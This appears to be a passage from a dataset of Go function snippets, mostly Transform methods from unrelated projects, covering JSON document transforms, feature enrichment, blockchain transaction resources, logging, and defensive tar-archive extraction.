GetCurrentHandlerConfig(ctx)\n\tif h == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"no_handler\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"current handler not found in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\tif h.Transformations == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"no_named_transformations\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformations found in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\tt := h.Transformations[extractStringParam(params[0])]\n\tif t == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"unknown_transformation\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformation %s found in call to transform function\", extractStringParam(params[0])), \"transform\", params})\n\t\treturn nil\n\t}\n\tvar section interface{}\n\tsection = doc.GetOriginalObject()\n\tif len(params) >= 2 {\n\t\terr := json.Unmarshal([]byte(extractStringParam(params[1])), &section)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"invalid_json\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to transform function\"), \"transform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar pattern *JDoc\n\tif len(params) >= 3 && extractStringParam(params[2]) != \"\" {\n\t\tvar err error\n\t\tpattern, err = NewJDocFromString(extractStringParam(params[2]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to transform function\"), \"transform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar join *JDoc\n\tif len(params) == 4 && extractStringParam(params[3]) != \"\" {\n\t\tvar err error\n\t\tjoin, err = NewJDocFromString(extractStringParam(params[3]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"op\", \"transform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to transform function\"), \"transform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tif pattern != nil {\n\t\tc, _ := doc.contains(section, pattern.GetOriginalObject(), 0)\n\t\tif !c {\n\t\t\treturn section\n\t\t}\n\t}\n\tif join != nil {\n\t\tsection = doc.merge(join.GetOriginalObject(), section)\n\t}\n\tlittleDoc, err := NewJDocFromInterface(section)\n\tif err != nil {\n\t\tctx.Log().Error(\"error_type\", \"func_transform\", \"cause\", \"json_parse_error\", \"op\", \"transform\", \"error\", err.Error(), \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"transformation error in call to transform function\"), \"transform\", params})\n\t\treturn nil\n\t}\n\tvar littleRes *JDoc\n\tif t.IsTransformationByExample {\n\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t} else {\n\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t}\n\treturn littleRes.GetOriginalObject()\n}", "func (t *Transformer) Transform(ctx context.Context, request []byte) ([]byte, error) {\n\tspan, ctx := opentracing.StartSpanFromContext(ctx, \"feast.Transform\")\n\tdefer span.Finish()\n\n\tfeastFeatures := make(map[string]*FeastFeature, len(t.config.TransformerConfig.Feast))\n\n\t// parallelize feast call per feature table\n\tresChan := make(chan result, len(t.config.TransformerConfig.Feast))\n\tfor _, config := range t.config.TransformerConfig.Feast {\n\t\tgo func(cfg *transformer.FeatureTable) {\n\t\t\ttableName := createTableName(cfg.Entities)\n\t\t\tval, err := t.getFeastFeature(ctx, tableName, request, cfg)\n\t\t\tresChan <- result{tableName, val, err}\n\t\t}(config)\n\t}\n\n\t// collect result\n\tfor i := 0; i < cap(resChan); i++ {\n\t\tres := <-resChan\n\t\tif res.err != nil {\n\t\t\treturn nil, res.err\n\t\t}\n\t\tfeastFeatures[res.tableName] = res.feastFeature\n\t}\n\n\tout, err := enrichRequest(ctx, request, feastFeatures)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn out, err\n}", "func transformInput(inputs []io.Reader, errWriter, outWriter io.Writer, rt resourceTransformer) int {\n\tpostInjectBuf := &bytes.Buffer{}\n\treportBuf := &bytes.Buffer{}\n\n\tfor _, input := range inputs {\n\t\terrs := processYAML(input, postInjectBuf, reportBuf, rt)\n\t\tif len(errs) > 0 {\n\t\t\tfmt.Fprintf(errWriter, \"Error transforming resources:\\n%v\", concatErrors(errs, \"\\n\"))\n\t\t\treturn 1\n\t\t}\n\n\t\t_, err := io.Copy(outWriter, postInjectBuf)\n\n\t\t// print error report after yaml output, for better visibility\n\t\tio.Copy(errWriter, reportBuf)\n\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(errWriter, \"Error printing YAML: %v\\n\", err)\n\t\t\treturn 1\n\t\t}\n\t}\n\treturn 0\n}", "func (s *schema) NewTransform(name string, input io.Reader, ctx *transformctx.Ctx) (Transform, error) {\n\tbr, err := ios.StripBOM(s.header.ParserSettings.WrapEncoding(input))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ctx.InputName != name {\n\t\tctx.InputName = name\n\t}\n\tingester, err := s.handler.NewIngester(ctx, br)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// If caller already specified a way to do context aware error formatting, use it;\n\t// otherwise (vast majority cases), use the Ingester (which implements CtxAwareErr\n\t// interface) created by the schema handler.\n\tif ctx.CtxAwareErr == nil {\n\t\tctx.CtxAwareErr = ingester\n\t}\n\treturn &transform{ingester: ingester}, nil\n}", "func (s *BaseSyslParserListener) ExitTransform(ctx *TransformContext) {}", "func TransformAccount(ledgerChange ingestio.Change) (AccountOutput, error) {\n\tledgerEntry, outputDeleted, err := utils.ExtractEntryFromChange(ledgerChange)\n\tif err != nil {\n\t\treturn AccountOutput{}, err\n\t}\n\n\taccountEntry, accountFound := ledgerEntry.Data.GetAccount()\n\tif !accountFound {\n\t\treturn AccountOutput{}, fmt.Errorf(\"Could not extract account data from ledger entry; actual type is %s\", ledgerEntry.Data.Type)\n\t}\n\n\toutputID, err := accountEntry.AccountId.GetAddress()\n\tif err != nil {\n\t\treturn AccountOutput{}, err\n\t}\n\n\toutputBalance := int64(accountEntry.Balance)\n\tif outputBalance < 0 {\n\t\treturn AccountOutput{}, fmt.Errorf(\"Balance is negative (%d) for account: %s\", outputBalance, outputID)\n\t}\n\n\t//The V1 struct is the first version of the extender from accountEntry. It contains information on liabilities, and in the future\n\t//more extensions may contain extra information\n\taccountExtensionInfo, V1Found := accountEntry.Ext.GetV1()\n\tvar outputBuyingLiabilities, outputSellingLiabilities int64\n\tif V1Found {\n\t\tliabilities := accountExtensionInfo.Liabilities\n\t\toutputBuyingLiabilities, outputSellingLiabilities = int64(liabilities.Buying), int64(liabilities.Selling)\n\t\tif outputBuyingLiabilities < 0 {\n\t\t\treturn AccountOutput{}, fmt.Errorf(\"The buying liabilities count is negative (%d) for account: %s\", outputBuyingLiabilities, outputID)\n\t\t}\n\n\t\tif outputSellingLiabilities < 0 {\n\t\t\treturn AccountOutput{}, fmt.Errorf(\"The selling liabilities count is negative (%d) for account: %s\", outputSellingLiabilities, outputID)\n\t\t}\n\t}\n\n\toutputSequenceNumber := int64(accountEntry.SeqNum)\n\tif outputSequenceNumber < 0 {\n\t\treturn AccountOutput{}, fmt.Errorf(\"Account sequence number is negative (%d) for account: %s\", outputSequenceNumber, outputID)\n\t}\n\n\toutputNumSubentries := uint32(accountEntry.NumSubEntries)\n\n\tinflationDestAccountID := accountEntry.InflationDest\n\tvar outputInflationDest string\n\tif inflationDestAccountID != nil {\n\t\toutputInflationDest, err = inflationDestAccountID.GetAddress()\n\t\tif err != nil {\n\t\t\treturn AccountOutput{}, err\n\t\t}\n\t}\n\n\toutputFlags := uint32(accountEntry.Flags)\n\n\toutputHomeDomain := string(accountEntry.HomeDomain)\n\n\toutputMasterWeight := int32(accountEntry.MasterKeyWeight())\n\toutputThreshLow := int32(accountEntry.ThresholdLow())\n\toutputThreshMed := int32(accountEntry.ThresholdMedium())\n\toutputThreshHigh := int32(accountEntry.ThresholdHigh())\n\n\toutputLastModifiedLedger := uint32(ledgerEntry.LastModifiedLedgerSeq)\n\n\ttransformedAccount := AccountOutput{\n\t\tAccountID: outputID,\n\t\tBalance: outputBalance,\n\t\tBuyingLiabilities: outputBuyingLiabilities,\n\t\tSellingLiabilities: outputSellingLiabilities,\n\t\tSequenceNumber: outputSequenceNumber,\n\t\tNumSubentries: outputNumSubentries,\n\t\tInflationDestination: outputInflationDest,\n\t\tFlags: outputFlags,\n\t\tHomeDomain: outputHomeDomain,\n\t\tMasterWeight: outputMasterWeight,\n\t\tThresholdLow: outputThreshLow,\n\t\tThresholdMedium: outputThreshMed,\n\t\tThresholdHigh: outputThreshHigh,\n\t\tLastModifiedLedger: outputLastModifiedLedger,\n\t\tDeleted: outputDeleted,\n\t}\n\treturn transformedAccount, nil\n}", "func (DeclareCandidacyDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.DeclareCandidacyData)\n\tcoin := context.Coins().GetCoin(data.Coin)\n\n\treturn DeclareCandidacyDataResource{\n\t\tAddress: data.Address.String(),\n\t\tPubKey: data.PubKey.String(),\n\t\tCommission: strconv.Itoa(int(data.Commission)),\n\t\tStake: data.Stake.String(),\n\t\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\n\t}\n}", "func (RecreateCoinDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.RecreateCoinData)\n\n\treturn RecreateCoinDataResource{\n\t\tName: data.Name,\n\t\tSymbol: data.Symbol,\n\t\tInitialAmount: data.InitialAmount.String(),\n\t\tInitialReserve: data.InitialReserve.String(),\n\t\tConstantReserveRatio: strconv.Itoa(int(data.ConstantReserveRatio)),\n\t\tMaxSupply: data.MaxSupply.String(),\n\t}\n}", "func (t *Transform) Transform() *Transform {\n\treturn t\n}", "func (t *readFramebuffer) Transform(ctx context.Context, id api.CmdID, cmd api.Cmd, out transform.Writer) error {\n\ts := out.State()\n\tst := GetState(s)\n\tif cmd, ok := cmd.(*InsertionCommand); ok {\n\t\tidx_string := keyFromIndex(cmd.idx)\n\t\tif r, ok := t.injections[idx_string]; ok {\n\t\t\t// If this command is FOR an EOF command, we want to mutate it, so that\n\t\t\t// we have the presentation info available.\n\t\t\tif cmd.callee != nil && cmd.callee.CmdFlags(ctx, id, s).IsEndOfFrame() {\n\t\t\t\tcmd.callee.Mutate(ctx, id, out.State(), nil, nil)\n\t\t\t}\n\t\t\tfor _, injection := range r {\n\t\t\t\tif err := injection.fn(ctx, cmd, injection.res, out); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\t}\n\tif err := out.MutateAndWrite(ctx, id, cmd); err != nil {\n\t\treturn err\n\t}\n\t// If we have no deferred submissions left, then we can terminate\n\tif len(t.pendingReads) > 0 && len(st.deferredSubmissions) == 0 {\n\t\tif id != api.CmdNoID {\n\t\t\treturn t.FlushPending(ctx, out)\n\t\t}\n\t}\n\treturn nil\n}", "func fnITransform(ctx Context, doc *JDoc, params []string) interface{} {\n\tstats := ctx.Value(EelTotalStats).(*ServiceStats)\n\tif params == nil || len(params) == 0 || len(params) > 4 {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"wrong_number_of_parameters\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"wrong number of parameters in call to itransform function\"), \"itransform\", params})\n\t\treturn nil\n\t}\n\th := GetCurrentHandlerConfig(ctx)\n\tif h == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"no_handler\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"current handler not found in call to itransform function\"), \"itransform\", params})\n\t\treturn nil\n\t}\n\tif h.Transformations == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"no_named_transformations\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformations found in call to itransform function\"), \"itransform\", params})\n\t\treturn nil\n\t}\n\tt := h.Transformations[extractStringParam(params[0])]\n\tif t == nil {\n\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"unknown_transformation\", \"params\", params)\n\t\tstats.IncErrors()\n\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"no named transformation %s found in call to itransform function\", extractStringParam(params[0])), \"itransform\", params})\n\t\treturn nil\n\t}\n\tvar section interface{}\n\tsection = doc.GetOriginalObject()\n\tif len(params) >= 2 {\n\t\terr := json.Unmarshal([]byte(extractStringParam(params[1])), &section)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"invalid_json\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to itransform function\"), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar pattern *JDoc\n\tif len(params) >= 3 && extractStringParam(params[2]) != \"\" {\n\t\tvar err error\n\t\tpattern, err = NewJDocFromString(extractStringParam(params[2]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to itransform function\"), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tvar join *JDoc\n\tif len(params) == 4 && extractStringParam(params[3]) != \"\" {\n\t\tvar err error\n\t\tjoin, err = NewJDocFromString(extractStringParam(params[3]))\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"non_json_parameter\", \"params\", params, \"error\", err.Error())\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, SyntaxError{fmt.Sprintf(\"non json parameters in call to itransform function\"), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t}\n\tswitch section.(type) {\n\t// apply sub-transformation iteratively to all array elements\n\tcase []interface{}:\n\t\tfor i, a := range section.([]interface{}) {\n\t\t\tif pattern != nil {\n\t\t\t\tc, _ := doc.contains(a, pattern.GetOriginalObject(), 0)\n\t\t\t\tif !c {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t\tif join != nil {\n\t\t\t\ta = doc.merge(join.GetOriginalObject(), a)\n\t\t\t}\n\t\t\t//ctx.Log().Info(\"A\", a, \"MERGED\", amerged, \"JOIN\", join.GetOriginalObject())\n\t\t\tlittleDoc, err := NewJDocFromInterface(a)\n\t\t\tif err != nil {\n\t\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"json_parse_error\", \"error\", err.Error(), \"params\", params)\n\t\t\t\tstats.IncErrors()\n\t\t\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"transformation error in call to itransform function\"), \"itransform\", params})\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tvar littleRes *JDoc\n\t\t\tif t.IsTransformationByExample {\n\t\t\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t\t\t} else {\n\t\t\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t\t\t}\n\t\t\t//ctx.Log().Info(\"item_in\", a, \"item_out\", littleRes.StringPretty(), \"path\", extractStringParam(params[2]), \"idx\", i)\n\t\t\tsection.([]interface{})[i] = littleRes.GetOriginalObject()\n\t\t}\n\t\treturn section\n\t/*case map[string]interface{}:\n\tfor k, v := range section.(map[string]interface{}) {\n\t\tif pattern != nil {\n\t\t\tc, _ := doc.contains(v, pattern.GetOriginalObject(), 0)\n\t\t\tif !c {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tif join != nil {\n\t\t\tv = doc.merge(join.GetOriginalObject(), v)\n\t\t}\n\t\t//ctx.Log().Info(\"A\", a, \"MERGED\", amerged, \"JOIN\", join.GetOriginalObject())\n\t\tlittleDoc, err := NewJDocFromInterface(v)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"error\", err.Error(), \"params\", params)\n\t\t\tstats.IncErrors()\n\t\t\treturn \"\"\n\t\t}\n\t\tvar littleRes *JDoc\n\t\tif t.IsTransformationByExample {\n\t\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t\t} else {\n\t\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t\t}\n\t\t//ctx.Log().Info(\"item_in\", a, \"item_out\", littleRes.StringPretty(), \"path\", extractStringParam(params[2]), \"idx\", i)\n\t\tsection.(map[string]interface{})[k] = littleRes.GetOriginalObject()\n\t}\n\treturn section*/\n\t// apply sub-transformation to single sub-section of document\n\tdefault:\n\t\tif pattern != nil {\n\t\t\tc, _ := doc.contains(section, pattern.GetOriginalObject(), 0)\n\t\t\tif !c {\n\t\t\t\treturn section\n\t\t\t}\n\t\t}\n\t\tif join != nil {\n\t\t\tsection = doc.merge(join.GetOriginalObject(), section)\n\t\t}\n\t\tlittleDoc, err := NewJDocFromInterface(section)\n\t\tif err != nil {\n\t\t\tctx.Log().Error(\"error_type\", \"func_itransform\", \"op\", \"itransform\", \"cause\", \"json_parse_error\", \"error\", err.Error(), \"params\", params)\n\t\t\tstats.IncErrors()\n\t\t\tAddError(ctx, RuntimeError{fmt.Sprintf(\"transformation error in call to itransform function: %s\", err.Error()), \"itransform\", params})\n\t\t\treturn nil\n\t\t}\n\t\tvar littleRes *JDoc\n\t\tif t.IsTransformationByExample {\n\t\t\tlittleRes = littleDoc.ApplyTransformationByExample(ctx, t.t)\n\t\t} else {\n\t\t\tlittleRes = littleDoc.ApplyTransformation(ctx, t.t)\n\t\t}\n\t\treturn littleRes.GetOriginalObject()\n\t}\n}", "func makeUnstructuredEntry(\n\tctx context.Context,\n\ts Severity,\n\tc Channel,\n\tdepth int,\n\tredactable bool,\n\tformat string,\n\targs ...interface{},\n) (res logEntry) {\n\tres = makeEntry(ctx, s, c, depth+1)\n\n\tres.structured = false\n\n\tif redactable {\n\t\tvar buf redact.StringBuilder\n\t\tif len(args) == 0 {\n\t\t\t// TODO(knz): Remove this legacy case.\n\t\t\tbuf.Print(redact.Safe(format))\n\t\t} else if len(format) == 0 {\n\t\t\tbuf.Print(args...)\n\t\t} else {\n\t\t\tbuf.Printf(format, args...)\n\t\t}\n\t\tres.payload = makeRedactablePayload(buf.RedactableString())\n\t} else {\n\t\tvar buf strings.Builder\n\t\tformatArgs(&buf, format, args...)\n\t\tres.payload = makeUnsafePayload(buf.String())\n\t}\n\n\treturn res\n}", "func transformAddr(n *ir.AddrExpr) {\n\tswitch n.X.Op() {\n\tcase ir.OARRAYLIT, ir.OMAPLIT, ir.OSLICELIT, ir.OSTRUCTLIT:\n\t\tn.SetOp(ir.OPTRLIT)\n\t}\n}", "func Transform(extract map[int][]string) map[string]int {\n\tret := make(map[string]int)\n\n\tfor k, v := range extract {\n\t\tfor _, letter := range v {\n\t\t\tret[strings.ToLower(letter)] = k\n\t\t}\n\t}\n\n\treturn ret\n}", "func (RedeemCheckDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.RedeemCheckData)\n\n\treturn RedeemCheckDataResource{\n\t\tRawCheck: base64.StdEncoding.EncodeToString(data.RawCheck),\n\t\tProof: base64.StdEncoding.EncodeToString(data.Proof[:]),\n\t}\n}", "func (entity *Base) Transform() *Transform {\n\treturn &entity.transform\n}", "func (DelegateDataResource) Transform(txData interface{}, context *state.CheckState) TxDataResource {\n\tdata := txData.(*transaction.DelegateData)\n\tcoin := context.Coins().GetCoin(data.Coin)\n\n\treturn DelegateDataResource{\n\t\tPubKey: data.PubKey.String(),\n\t\tValue: data.Value.String(),\n\t\tCoin: CoinResource{coin.ID().Uint32(), coin.GetFullSymbol()},\n\t}\n}", "func (t merged) Transform(spec *specs.Spec) error {\n\tfor _, transformer := range t {\n\t\tif err := transformer.Transform(spec); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (s *BaseSyslParserListener) EnterTransform_return_type(ctx *Transform_return_typeContext) {}", "func (te *TarExtractor) UnpackEntry(root string, hdr *tar.Header, r io.Reader) (Err error) {\n\t// Make the paths safe.\n\thdr.Name = CleanPath(hdr.Name)\n\troot = filepath.Clean(root)\n\n\tlog.WithFields(log.Fields{\n\t\t\"root\": root,\n\t\t\"path\": hdr.Name,\n\t\t\"type\": hdr.Typeflag,\n\t}).Debugf(\"unpacking entry\")\n\n\t// Get directory and filename, but we have to safely get the directory\n\t// component of the path. SecureJoinVFS will evaluate the path itself,\n\t// which we don't want (we're clever enough to handle the actual path being\n\t// a symlink).\n\tunsafeDir, file := filepath.Split(hdr.Name)\n\tif filepath.Join(\"/\", hdr.Name) == \"/\" {\n\t\t// If we got an entry for the root, then unsafeDir is the full path.\n\t\tunsafeDir, file = hdr.Name, \".\"\n\t\t// If we're being asked to change the root type, bail because they may\n\t\t// change it to a symlink which we could inadvertently follow.\n\t\tif hdr.Typeflag != tar.TypeDir {\n\t\t\treturn errors.New(\"malicious tar entry -- refusing to change type of root directory\")\n\t\t}\n\t}\n\tdir, err := securejoin.SecureJoinVFS(root, unsafeDir, te.fsEval)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"sanitise symlinks in root\")\n\t}\n\tpath := filepath.Join(dir, file)\n\n\t// Before we do anything, get the state of dir. Because we might be adding\n\t// or removing files, our parent directory might be modified in the\n\t// process. As a result, we want to be able to restore the old state\n\t// (because we only apply state that we find in the archive we're iterating\n\t// over). We can safely ignore an error here, because a non-existent\n\t// directory will be fixed by later archive entries.\n\tif dirFi, err := te.fsEval.Lstat(dir); err == nil && path != dir {\n\t\t// FIXME: This is really stupid.\n\t\t// #nosec G104\n\t\tlink, _ := te.fsEval.Readlink(dir)\n\t\tdirHdr, err := tar.FileInfoHeader(dirFi, link)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"convert dirFi to dirHdr\")\n\t\t}\n\n\t\t// More faking to trick restoreMetadata to actually restore the directory.\n\t\tdirHdr.Typeflag = tar.TypeDir\n\t\tdirHdr.Linkname = \"\"\n\n\t\t// os.Lstat doesn't get the list of xattrs by default. We need to fill\n\t\t// this explicitly. Note that while Go's \"archive/tar\" takes strings,\n\t\t// in Go strings can be arbitrary byte sequences so this doesn't\n\t\t// restrict the possible values.\n\t\t// TODO: Move this to a separate function so we can share it with\n\t\t// tar_generate.go.\n\t\txattrs, err := te.fsEval.Llistxattr(dir)\n\t\tif err != nil {\n\t\t\tif errors.Cause(err) != unix.ENOTSUP {\n\t\t\t\treturn errors.Wrap(err, \"get dirHdr.Xattrs\")\n\t\t\t}\n\t\t\tif !te.enotsupWarned {\n\t\t\t\tlog.Warnf(\"xattr{%s} ignoring ENOTSUP on llistxattr\", dir)\n\t\t\t\tlog.Warnf(\"xattr{%s} destination filesystem does not support xattrs, further warnings will be suppressed\", path)\n\t\t\t\tte.enotsupWarned = true\n\t\t\t} else {\n\t\t\t\tlog.Debugf(\"xattr{%s} ignoring ENOTSUP on clearxattrs\", path)\n\t\t\t}\n\t\t}\n\t\tif len(xattrs) > 0 {\n\t\t\tdirHdr.Xattrs = map[string]string{}\n\t\t\tfor _, xattr := range xattrs {\n\t\t\t\tvalue, err := te.fsEval.Lgetxattr(dir, xattr)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.Wrap(err, \"get xattr\")\n\t\t\t\t}\n\t\t\t\tdirHdr.Xattrs[xattr] = string(value)\n\t\t\t}\n\t\t}\n\n\t\t// Ensure that after everything we correctly re-apply the old metadata.\n\t\t// We don't map this header because we're restoring files that already\n\t\t// existed on the filesystem, not from a tar layer.\n\t\tdefer func() {\n\t\t\t// Only overwrite the error if there wasn't one already.\n\t\t\tif err := te.restoreMetadata(dir, dirHdr); err != nil {\n\t\t\t\tif Err == nil {\n\t\t\t\t\tErr = errors.Wrap(err, \"restore parent directory\")\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// Currently the spec doesn't specify what the hdr.Typeflag of whiteout\n\t// files is meant to be. We specifically only produce regular files\n\t// ('\\x00') but it could be possible that someone produces a different\n\t// Typeflag, expecting that the path is the only thing that matters in a\n\t// whiteout entry.\n\tif strings.HasPrefix(file, whPrefix) {\n\t\tswitch te.whiteoutMode {\n\t\tcase OCIStandardWhiteout:\n\t\t\treturn te.ociWhiteout(root, dir, file)\n\t\tcase OverlayFSWhiteout:\n\t\t\treturn te.overlayFSWhiteout(dir, file)\n\t\tdefault:\n\t\t\treturn errors.Errorf(\"unknown whiteout mode %d\", te.whiteoutMode)\n\t\t}\n\t}\n\n\t// Get information about the path. This has to be done after we've dealt\n\t// with whiteouts because it turns out that lstat(2) will return EPERM if\n\t// you try to stat a whiteout on AUFS.\n\tfi, err := te.fsEval.Lstat(path)\n\tif err != nil {\n\t\t// File doesn't exist, just switch fi to the file header.\n\t\tfi = hdr.FileInfo()\n\t}\n\n\t// Attempt to create the parent directory of the path we're unpacking.\n\t// We do a MkdirAll here because even though you need to have a tar entry\n\t// for every component of a new path, applyMetadata will correct any\n\t// inconsistencies.\n\t// FIXME: We have to make this consistent, since if the tar archive doesn't\n\t// have entries for some of these components we won't be able to\n\t// verify that we have consistent results during unpacking.\n\tif err := te.fsEval.MkdirAll(dir, 0777); err != nil {\n\t\treturn errors.Wrap(err, \"mkdir parent\")\n\t}\n\n\tisDirlink := false\n\t// We remove whatever existed at the old path to clobber it so that\n\t// creating a new path will not break. The only exception is if the path is\n\t// a directory in both the layer and the current filesystem, in which case\n\t// we don't delete it for obvious reasons. In all other cases we clobber.\n\t//\n\t// Note that this will cause hard-links in the \"lower\" layer to not be able\n\t// to point to \"upper\" layer inodes even if the extracted type is the same\n\t// as the old one, however it is not clear whether this is something a user\n\t// would expect anyway. In addition, this will incorrectly deal with a\n\t// TarLink that is present before the \"upper\" entry in the layer but the\n\t// \"lower\" file still exists (so the hard-link would point to the old\n\t// inode). It's not clear if such an archive is actually valid though.\n\tif !fi.IsDir() || hdr.Typeflag != tar.TypeDir {\n\t\t// If we are in --keep-dirlinks mode and the existing fs object is a\n\t\t// symlink to a directory (with the pending object is a directory), we\n\t\t// don't remove the symlink (and instead allow subsequent objects to be\n\t\t// just written through the symlink into the directory). This is a very\n\t\t// specific usecase where layers that were generated independently from\n\t\t// each other (on different base filesystems) end up with weird things\n\t\t// like /lib64 being a symlink only sometimes but you never want to\n\t\t// delete libraries (not just the ones that were under the \"real\"\n\t\t// directory).\n\t\t//\n\t\t// TODO: This code should also handle a pending symlink entry where the\n\t\t// existing object is a directory. I'm not sure how we could\n\t\t// disambiguate this from a symlink-to-a-file but I imagine that\n\t\t// this is something that would also be useful in the same vein\n\t\t// as --keep-dirlinks (which currently only prevents clobbering\n\t\t// in the opposite case).\n\t\tif te.keepDirlinks &&\n\t\t\tfi.Mode()&os.ModeSymlink == os.ModeSymlink && hdr.Typeflag == tar.TypeDir {\n\t\t\tisDirlink, err = te.isDirlink(root, path)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"check is dirlink\")\n\t\t\t}\n\t\t}\n\t\tif !(isDirlink && te.keepDirlinks) {\n\t\t\tif err := te.fsEval.RemoveAll(path); err != nil {\n\t\t\t\treturn errors.Wrap(err, \"clobber old path\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// Now create or otherwise modify the state of the path. Right now, either\n\t// the type of path matches hdr or the path doesn't exist. Note that we\n\t// don't care about umasks or the initial mode here, since applyMetadata\n\t// will fix all of that for us.\n\tswitch hdr.Typeflag {\n\t// regular file\n\tcase tar.TypeReg, tar.TypeRegA:\n\t\t// Create a new file, then just copy the data.\n\t\tfh, err := te.fsEval.Create(path)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"create regular\")\n\t\t}\n\t\tdefer fh.Close()\n\n\t\t// We need to make sure that we copy all of the bytes.\n\t\tn, err := system.Copy(fh, r)\n\t\tif int64(n) != hdr.Size {\n\t\t\tif err != nil {\n\t\t\t\terr = errors.Wrapf(err, \"short write\")\n\t\t\t} else {\n\t\t\t\terr = io.ErrShortWrite\n\t\t\t}\n\t\t}\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"unpack to regular file\")\n\t\t}\n\n\t\t// Force close here so that we don't affect the metadata.\n\t\tif err := fh.Close(); err != nil {\n\t\t\treturn errors.Wrap(err, \"close unpacked regular file\")\n\t\t}\n\n\t// directory\n\tcase tar.TypeDir:\n\t\tif isDirlink {\n\t\t\tbreak\n\t\t}\n\n\t\t// Attempt to create the directory. We do a 